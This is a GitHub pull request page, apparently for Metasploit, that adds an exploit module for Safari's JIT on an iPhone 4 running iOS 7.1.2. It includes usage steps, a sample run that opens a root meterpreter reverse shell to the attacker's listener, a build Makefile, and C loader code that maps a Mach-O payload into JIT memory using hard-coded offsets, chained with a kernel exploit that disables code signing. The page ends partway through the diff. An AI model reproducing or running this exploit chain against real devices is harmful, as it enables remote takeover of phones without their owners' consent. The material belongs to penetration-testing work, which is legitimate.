Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for an iPhone 4 iOS 7.1.2 #13911

Merged
merged 5 commits into from
Aug 14, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added data/exploits/CVE-2016-4669/loader
Binary file not shown.
Binary file added data/exploits/CVE-2016-4669/macho
Binary file not shown.
66 changes: 66 additions & 0 deletions documentation/modules/exploit/apple_ios/browser/safari_jit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
## Vulnerable Application

This module exploits a JIT optimization bug in Safari Webkit. This allows us to
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
obtains root and disables code signing. Finally we download and execute the
meterpreter payload.

This module has been tested against iOS 7.1.2 on an iPhone 4.

## Verification Steps

1. Start msfconsole
1. Do: `use exploit/apple_ios/browser/safari_jit`
1. Do: `set lhost [ip]`
1. Do: `set srvhost [ip]`
1. Do: `run`
1. Browse to the website with a vulnerable device
1. You should get a root shell.

## Options

### DEBUG_EXPLOIT

Show debug information during exploitation. This will add entries to the iPhone syslog related to exploitation and
loading of the payload. Defaults to `false`

## Scenarios


### iPhone 4 with iOS 7.1.2

```
msf5 > use exploit/apple_ios/browser/safari_jit
[*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp
msf5 exploit(apple_ios/browser/safari_jit) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set verbose true
verbose => true
msf5 exploit(apple_ios/browser/safari_jit) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(apple_ios/browser/safari_jit) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8080/
[*] Server started.
[*] 2.2.2.2 safari_jit - Request / from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /loader.b64?cache=1596557302841 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /macho.b64?cache=1596557303179 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /payload from MobileSafari/9537.53 CFNetwork/672.1.15 Darwin/14.0.0
[+] 2.2.2.2 safari_jit - Target is vulnerable, sending payload!
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:49299) at 2020-08-04 12:08:27 -0400
sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root @ iPhone (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 2.2.2.2
OS : iPhone3,3 (iOS 11D257)
Architecture : armv7
BuildTuple : arm-iphone-darwin
Meterpreter : armle/apple_ios
```
23 changes: 23 additions & 0 deletions external/source/exploits/CVE-2016-4669/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
GCC_BIN_IOS=`xcrun --sdk iphoneos -f gcc`
GCC_BASE_IOS=$(GCC_BIN_IOS)
SDK_IOS=`xcrun --sdk iphoneos --show-sdk-path`
GCC_IOS_32=$(GCC_BASE_IOS) $(CFLAGS_32) -arch armv7 -isysroot $(SDK_IOS) \
-Iheaders

all: clean loader macho

loader:
$(GCC_IOS_32) -mthumb -shared -O0 loader.c -o loader
python macho_to_bin.py loader

macho:
$(GCC_IOS_32) -O0 -fmodules -mthumb macho.m task.c utils.m shell.m -o macho

install: loader.bin macho
mkdir -p ../../../../data/exploits/CVE-2016-4669/
cp loader.bin ../../../../data/exploits/CVE-2016-4669/
cp macho ../../../../data/exploits/CVE-2016-4669/

clean:
rm -f *.o loader.bin loader macho

49 changes: 49 additions & 0 deletions external/source/exploits/CVE-2016-4669/__task.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
#ifndef _task_user_
#define _task_user_

/* Module task */

#include <string.h>
#include <mach/ndr.h>
#include <mach/boolean.h>
#include <mach/kern_return.h>
#include <mach/notify.h>
#include <mach/mach_types.h>
#include <mach/message.h>
#include <mach/mig_errors.h>
#include <mach/port.h>

#ifndef KERNEL
#if defined(__has_include)
#if __has_include(<mach/mig_voucher_support.h>)
#ifndef USING_VOUCHERS
#define USING_VOUCHERS
#endif
#ifndef __VOUCHER_FORWARD_TYPE_DECLS__
#define __VOUCHER_FORWARD_TYPE_DECLS__
#ifdef __cplusplus
extern "C" {
#endif
extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
#ifdef __cplusplus
}
#endif
#endif // __VOUCHER_FORWARD_TYPE_DECLS__
#endif // __has_include(<mach/mach_voucher_types.h>)
#endif // __has_include
#endif // !KERNEL

#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__mach_ports_register_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif


#endif
190 changes: 190 additions & 0 deletions external/source/exploits/CVE-2016-4669/loader.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
// [1] https://iokit.racing/machotricks.pdf

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <dlfcn.h>
#include <mach-o/loader.h>
#include <mach-o/swap.h>
#include <mach-o/dyld_images.h>
#include <mach/mach.h>

// targeting a specific version of os
// on a specific device we can use hard coded
// offsets
#define JSCELL_DESTROY 0x2e49e345
// this one was extracted at runtime, cause
// the one from the ipsw was not the same as on the phone
#define DLSYM_BASE 0x381227d0
#define DYLD_START 0x1028

#define MINU(a,b) ((unsigned)(a) < (unsigned)(b) ? a : b)

typedef void * (* dlsym_t)(void *restrict handle, const char *restrict name);
typedef int (* printf_t)(const char * format, ... );
typedef unsigned int (* sleep_t)(unsigned int seconds);
typedef int (* _fprintf)(FILE *stream, const char *format, ...);
typedef void * (* dlopen_t)(const char* path, int mode);
typedef void * (* malloc_t)(size_t size);

typedef kern_return_t (* task_info_fn_t)(task_t target_task,
int flavor, task_info_t task_info,
mach_msg_type_number_t *task_info_count);

typedef mach_port_t (* mach_task_self_t)(void);
typedef char (* strcpy_t)(char *dest, const char *src);

// @see dyldStartup.s
struct dyld_params
{
void *base;
// this is set up to have only one param,
// binary name
unsigned argc;
// bin name and NULL
void * argv[2];
// NULL
void * env[1];
// NULL
void * apple[2];
char strings[];
};

void next(uintptr_t JSCell_destroy, void *macho, unsigned pc);

void __magic_start() {
asm("mov r0, #0");
asm("mov r0, #0");
asm("mov r0, #0");
asm("mov r0, #0");
}

// In the MobileSafari part we place two arguments
// right before the first instruction of the loader.
// Extract them and place them as next arguments
__attribute__((naked)) void start()
{
asm("ldr r1, [pc,#-0xC]");
asm("ldr r0, [pc,#-0xC]");
asm("mov r2, pc");
asm("b _next");
}

static void __copy(void *dst, void *src, size_t n)
{
do {
*(char *)dst = *(char *)src;
dst++;
src++;
} while (--n);
}

// We map macho file into jit memory.
// The details are outlined in [1].
void * map_macho(void *macho, void *base)
{
void *macho_base = (void *)-1;
struct mach_header *header = macho;
union {
struct load_command *cmd;
struct segment_command *segment;
void *p;
unsigned *u32;
} commands;

commands.p = macho + sizeof(struct mach_header);

// we assume that the loading address is 0
// since we are in control of macho file
for (int i=0; i<header->ncmds; i++) {
// LC_SEGMENT command
if (commands.cmd->cmd == 1) {

if (commands.segment->filesize == 0)
goto next_cmd;

macho_base = MINU(macho_base, base + commands.segment->vmaddr);
__copy(base + commands.segment->vmaddr,
macho + commands.segment->fileoff,
commands.segment->filesize);
}

next_cmd:
commands.p += commands.cmd->cmdsize;
}

return macho_base;
}

void next(uintptr_t JSCell_destroy, void *macho, unsigned pc)
{
// structure describing the stack layout
// expected by the macho loader of ios
//
// The detail are in dyldStartup.s file of dyld source code.
// https://opensource.apple.com/source/dyld/dyld-421.1/src/dyldStartup.s.auto.html
struct dyld_params *__sp;

// resolve functions we are going to use
unsigned slide = JSCell_destroy - JSCELL_DESTROY;
dlsym_t _dlsym = (dlsym_t)(DLSYM_BASE + slide + 1);
malloc_t _malloc = _dlsym(RTLD_DEFAULT, "malloc");
strcpy_t _strcpy = _dlsym(RTLD_DEFAULT, "strcpy");

task_info_fn_t _task_info = _dlsym(RTLD_DEFAULT, "task_info");
mach_task_self_t _mach_task_self = _dlsym(RTLD_DEFAULT, "mach_task_self");

mach_port_t self = _mach_task_self();
task_dyld_info_data_t info;
struct dyld_all_image_infos *infos;

// We need __dyld_start address to load a macho file,
// We call task_info to get dyld base and use hard coded offset
// to get __dyld_start pointer.
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t kr = _task_info(self, TASK_DYLD_INFO, (task_info_t)&info, &count);

infos = (struct dyld_all_image_infos *)info.all_image_info_addr;
void *dyld = (void *)infos->dyldImageLoadAddress;
void (* __dyld_start)() = (dyld + DYLD_START);

// get page aligned address a bit further after
// the loader and map the macho down there.
void *base = (void *) (pc & ~PAGE_MASK);
base += 0x40000;
base = map_macho(macho, base);

// allocate stack for out executable
__sp = _malloc(0x800000) + 0x400000;

// setup up our fake stack
__sp->base = base;
__sp->argc = 1;
__sp->argv[0] = &__sp->strings;
__sp->argv[1] = NULL;
__sp->env[0] = NULL;

__sp->apple[0] = &__sp->strings;
__sp->apple[1] = NULL;

// it's required to have argv[0]
_strcpy(__sp->strings, "/bin/bin");

// call __dyld_start
__asm__ ("ldr r0, %[f];"
"ldr r1, %[v];"
"mov sp, r1;"
"bx r0;"
: // no output
: [v]"m"(__sp), [f]"m"(__dyld_start)
);
}

#if 1
void __magic_end() {
asm("mov r0, #1");
asm("mov r0, #1");
asm("mov r0, #1");
asm("mov r0, #1");
}
#endif
11 changes: 11 additions & 0 deletions external/source/exploits/CVE-2016-4669/macho.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#ifndef MACHO_H
#define MACHO_H

#include <stdint.h>
#include "utils.h"

uint32_t kr32(addr_t from);
uint32_t kw32(addr_t to, uint32_t v);
void kread(uint64_t from, void *to, size_t size);

#endif
Loading